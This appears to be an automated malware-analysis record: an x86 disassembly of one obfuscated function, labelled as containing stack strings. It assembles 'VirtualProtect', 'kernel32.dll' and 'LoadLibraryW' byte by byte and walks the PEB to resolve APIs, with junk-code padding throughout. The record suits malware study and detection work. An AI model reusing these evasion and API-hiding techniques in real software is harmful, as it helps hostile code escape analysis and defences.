Function at 0x412a6c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
pop edx
push ebx
call 0x412a6c
add byte [edx], dh
aaa
xor eax, 0x834a3846
les eax, [ebx + ebx*2]
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push esi
or esi, 0x7ee6
jmp 0x412aa9
add esi, 0x11bb0
pop esi
push ecx
push edx
add esp, 4
jmp 0x412abd
jmp 0x412ac4
jmp 0x412acc
pop ecx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push ebx
jmp 0x412b3d
call 0x412b4a
add byte [eax], bh
inc ecx
dec edi
inc ebp
inc edi
xor edi, dword [0x5b04c483]
push edi
xor edi, 0xa1bc
xor edi, 0x183cf
pop edi
push esi
push eax
add esp, 4
sub esi, 0xf861
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push ecx
push eax
add esp, 4
sub ecx, 0x1db0
pop ecx
push eax
push edi
add esp, 4
and eax, 0xdafa
xor eax, 0x2a25
sub eax, 0x13843
xor eax, 0x6dc6
pop eax
push edx
jmp 0x412bc0
pop edx
cmp dword [ebp - 0x1614], 0
jne 0x412bd9
mov dword [ebp - 0x2fc], 0
jmp 0x412e80
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ecx
add ecx, 0x2b94
and ecx, 0x2f54
add ecx, 0x1453
jmp 0x412c05
pop ecx
push edx
sub edx, 0x45cc
call 0x412c19
add byte [esi], bh
aas
inc eax
inc ebx
add esp, 4
pop edx
cmp dword [ebp - 0xcc4], 0
jne 0x412c35
mov dword [ebp - 0x2fc], 0
jmp 0x412e80
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push edi
and edi, 0x93be
and edi, 0x14de
sub edi, 0x166ef
add edi, 0x14670
pop edi
push ecx
push edi
add esp, 4
jmp 0x412c66
or ecx, 0x9832
xor ecx, 0x13bc8
pop ecx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
and esi, 0x143ed
xor esi, 0x85e5
and esi, 0xcfa6
or esi, 0x1082e
pop esi
push edi
push ebx
add esp, 4
and edi, 0xfda3
and edi, 0x62c9
or edi, 0x6192
pop edi
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push ecx
sub ecx, 0x9562
or ecx, 0x135aa
and ecx, 0x13827
or ecx, 0xba8e
pop ecx
push edi
push ebx
add esp, 4
or edi, 0xbf8d
or edi, 0xc1d7
add edi, 0xb352
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x412d75
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x412dcf
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x412c9d
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x412c9d
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x412db9
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x412dc3
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x412e18
push ecx
push ecx
add esp, 4
add ecx, 0x5376
or ecx, 0x4b8d
add ecx, 0x334d
xor ecx, 0x17adc
pop ecx
push ecx
push edx
add esp, 4
jmp 0x412e02
jmp 0x412e09
pop ecx
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x412e80
push ecx
push edi
add esp, 4
and ecx, 0x252
sub ecx, 0xd10e
pop ecx
push eax
xor eax, 0x128f2
call 0x412e3e
add byte [esi], bh
dec esp
cmp eax, 0x4140414d
add esp, 4
pop eax
push ebx
xor ebx, 0xa27b
pop ebx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x412e76
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x412c41
mov dword [ebp - 0x2fc], 0
push ecx
jmp 0x412e89
pop ecx
push eax
sub eax, 0x11324
call 0x412ea0
add byte [eax], bh
dec edx
xor edi, dword [0x3d4a3249]
inc esi
add esp, 4
sub eax, 0x9bc6
pop eax
push ebx
or ebx, 0x7baa
pop ebx
cmp dword [ebp - 0x2fc], 0
jne 0x4137b7
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push esi
push edx
add esp, 4
jmp 0x412f65
add esi, 0x14eb
pop esi
push esi
push eax
add esp, 4
or esi, 0x1a3d
sub esi, 0x18000
add esi, 0xaaaa
xor esi, 0x9c48
pop esi
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push edx
push ebx
add esp, 4
call 0x413021
add byte [edx + 0x3f], al
cmp eax, 0x38424c3d
aas
aaa
add esp, 4
add edx, 0xb86f
pop edx
push esi
xor esi, 0x539e
and esi, 0x177eb
sub esi, 0xc67c
pop esi
cmp dword [ebp - 0x1620], 0
jne 0x413057
mov dword [ebp - 0x774], 0
jmp 0x4132fe
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push eax
add eax, 0x1d06
and eax, 0x40c8
and eax, 0x11fdb
or eax, 0x12de2
pop eax
push edi
push ecx
add esp, 4
sub edi, 0x2fa5
and edi, 0x8377
and edi, 0x1b21
pop edi
cmp dword [ebp - 0xcd0], 0
jne 0x4130b3
mov dword [ebp - 0x774], 0
jmp 0x4132fe
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push edx
push ebx
add esp, 4
or edx, 0x12e65
pop edx
push eax
or eax, 0x118f1
jmp 0x4130d8
pop eax
push esi
push eax
add esp, 4
and esi, 0x1773c
sub esi, 0x1251b
xor esi, 0x138be
pop esi
lea eax, [ebp - 0x1790]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
and eax, 0xae16
or eax, 0x90eb
or eax, 0x342
and eax, 0x1628a
pop eax
push edi
push edi
add esp, 4
xor edi, 0x17184
and edi, 0x3e3a
add edi, 0xcd6f
pop edi
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push edi
call 0x4131b2
add byte [ebx + 0x4b], al
aaa
aas
xor bh, byte [edi]
inc ebx
add esp, 4
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0x9d18
pop ecx
push ecx
xor ecx, 0x1021a
or ecx, 0x184
jmp 0x4131d5
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x4131f3
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1668], edx
jmp 0x41324d
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41311b
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41311b
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x413237
mov dword [ebp - 0x1624], 0xffffffff
jmp 0x413241
mov dword [ebp - 0x1624], 1
mov ecx, dword [ebp - 0x1624]
mov dword [ebp - 0x1668], ecx
cmp dword [ebp - 0x1668], 0
jne 0x413296
push esi
call 0x413265
add byte [ebx], dh
inc esp
cmp byte [ebp + 0x35], cl
aas
dec ebp
cmp eax, dword [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
inc edi
dec eax
dec ebp
dec ebp
cmp edi, dword [0xeb04c483]
pop es
inc esp
inc edx
inc edx
inc ebx
dec ebx
dec ecx
xor eax, dword [ecx + 0xca58f6]
add byte [esi - 0x75], bl
xchg ebp, eax
call 0x8a413289
xchg ebp, eax
invalid
push esi
push esi
add esp, 4
xor esi, 0xfd21
pop esi
push edx
and edx, 0xbf91
pop edx
push esi
jmp 0x4132b2
jmp 0x4132bb
add esi, 0x11cc8
add esi, 0x10542
pop esi
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x4132f4
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x4130bf
mov dword [ebp - 0x774], 0
push esi
push esi
add esp, 4
sub esi, 0x20c4
sub esi, 0xf63
pop esi
push edx
add edx, 0x17684
and edx, 0x1177
call 0x41332c
add byte [ebp + 0x3f], cl
inc edx
dec ebp
inc ecx
inc ebp
xor al, 0x32
inc eax
add esp, 4
pop edx
cmp dword [ebp - 0x774], 0
jne 0x41337a
push ebx
add ebx, 0xc00d
jmp 0x413347
and ebx, 0x2d3c
pop ebx
push edi
push ebx
add esp, 4
or edi, 0xd304
or edi, 0xcbfb
jmp 0x413364
add edi, 0x10362
pop edi
mov dword [ebp - 0xab4], 0
inc dword [eax]
add byte [eax], al
add cl, ch
sub byte [ebx], cl
add byte [eax], al